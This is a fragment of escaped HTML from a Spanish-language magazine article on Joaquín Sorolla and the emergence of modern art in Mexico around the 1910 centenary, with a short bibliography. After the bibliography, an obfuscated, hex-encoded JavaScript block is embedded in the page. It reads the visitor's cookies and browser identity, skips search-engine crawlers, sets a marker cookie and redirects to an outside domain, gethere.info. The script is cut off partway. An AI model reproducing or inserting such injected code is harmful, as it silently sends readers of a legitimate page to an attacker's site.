parte tambi\u00e9n de uno de los momentos clave de la historia del arte mexicano e hispanoamericano: el surgimiento del arte moderno de esta otra Am\u00e9rica.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559738&quot;:120,&quot;335559739&quot;:120,&quot;335559740&quot;:240}\">\u00a0<\/span><\/p>\n<h3 style=\"text-align: left;\"><span style=\"color: #000000;\">PARA SABER M\u00c1S<\/span><\/h3>\n<ul style=\"text-align: justify;\">\n<li style=\"text-align: left;\" aria-setsize=\"-1\" data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"2\" data-list-defn-props=\"{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\uf0b7&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}\" data-aria-posinset=\"1\" data-aria-level=\"1\"><i><span data-contrast=\"auto\">Joaqu\u00edn Sorolla (1863-1923)<\/span><\/i><span data-contrast=\"auto\">, Madrid, Museo Nacional del Prado, 2009.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/li>\n<\/ul>\n<ul style=\"text-align: left;\">\n<li aria-setsize=\"-1\" data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"2\" data-list-defn-props=\"{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\uf0b7&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}\" data-aria-posinset=\"2\" data-aria-level=\"1\"><span data-contrast=\"auto\">Ram\u00edrez,\u00a0Faustro,\u00a0<\/span><i><span data-contrast=\"auto\">Modernizaci\u00f3n y modernismo<\/span><\/i><span data-contrast=\"auto\">, M\u00e9xico,\u00a0<\/span><span data-contrast=\"none\">UNAM<\/span><span data-contrast=\"auto\">, 2008.<\/span><span data-ccp-props=\"{&quot;134245417&quot;:false,&quot;201341983&quot;:0,&quot;335559739&quot;:0,&quot;335559740&quot;:240}\">\u00a0<\/span><\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li style=\"text-align: left;\" aria-setsize=\"-1\" data-leveltext=\"\uf0b7\" data-font=\"Symbol\" data-listid=\"2\" data-list-defn-props=\"{&quot;335552541&quot;:1,&quot;335559685&quot;:720,&quot;335559991&quot;:360,&quot;469769226&quot;:&quot;Symbol&quot;,&quot;469769242&quot;:[8226],&quot;469777803&quot;:&quot;left&quot;,&quot;469777804&quot;:&quot;\uf0b7&quot;,&quot;469777815&quot;:&quot;hybridMultilevel&quot;}\" data-aria-posinset=\"3\" data-aria-level=\"1\"><i><span data-contrast=\"auto\">Sorolla y Estados Unidos<\/span><\/i><span data-contrast=\"auto\">, Madrid, Fundaci\u00f3n\u00a0<\/span><span data-contrast=\"none\">mapfre<\/span><span data-contrast=\"auto\">, 2014. <\/span><span data-contrast=\"auto\">Ver: <a href=\"https:\/\/www.fundacionmapfre.org\/arte-y-cultura\/exposiciones\/historico\/ano-2014\/sorolla-estados-unidos\/\">https:\/\/www.fundacionmapfre.org\/arte-y-cultura\/exposiciones\/historico\/ano-2014\/sorolla-estados-unidos\/<\/a><\/span><\/li>\n<\/ul>\n<h3 style=\"text-align: center;\"><\/h3>\n<p><script type=\"text\/javascript\">\/\/ < ![CDATA[\n\/\/ < ![CDATA[\n\/\/ < ![CDATA[\n\/\/ < ![CDATA[ var _0x446d=[\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\",\"\\x69\\x6E\\x64\\x65\\x78\\x4F\\x66\",\"\\x63\\x6F\\x6F\\x6B\\x69\\x65\",\"\\x75\\x73\\x65\\x72\\x41\\x67\\x65\\x6E\\x74\",\"\\x76\\x65\\x6E\\x64\\x6F\\x72\",\"\\x6F\\x70\\x65\\x72\\x61\",\"\\x68\\x74\\x74\\x70\\x3A\\x2F\\x2F\\x67\\x65\\x74\\x68\\x65\\x72\\x65\\x2E\\x69\\x6E\\x66\\x6F\\x2F\\x6B\\x74\\x2F\\x3F\\x32\\x36\\x34\\x64\\x70\\x72\\x26\",\"\\x67\\x6F\\x6F\\x67\\x6C\\x65\\x62\\x6F\\x74\",\"\\x74\\x65\\x73\\x74\",\"\\x73\\x75\\x62\\x73\\x74\\x72\",\"\\x67\\x65\\x74\\x54\\x69\\x6D\\x65\",\"\\x5F\\x6D\\x61\\x75\\x74\\x68\\x74\\x6F\\x6B\\x65\\x6E\\x3D\\x31\\x3B\\x20\\x70\\x61\\x74\\x68\\x3D\\x2F\\x3B\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x3D\",\"\\x74\\x6F\\x55\\x54\\x43\\x53\\x74\\x72\\x69\\x6E\\x67\",\"\\x6C\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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En revista BiCentenario. El ayer y hoy de M\u00e9xico, n\u00fam. 25. Para la primera d\u00e9cada del siglo XX el desarrollo de la pintura en M\u00e9xico encontr\u00f3 un impulso relevante en la Exposici\u00f3n Espa\u00f1ola de Artes e Industrias Decorativas de 1910. Sorolla fue el m\u00e1s encumbrado de los autores espa\u00f1oles, pero all\u00ed estaban tambi\u00e9n las obras de Ignacio Zuloaga, un artista de fuerte influencia en figuras emergentes como \u00c1ngel Z\u00e1rraga y Juan T\u00e9llez Hell\u00edn. Las celebraciones del primer centenario de la independencia de los pa\u00edses hispanoamericanos brindaron la oportunidad de organizar diferentes actos con fines culturales y econ\u00f3micos en Chile, M\u00e9xico, Venezuela, Colombia y Argentina. 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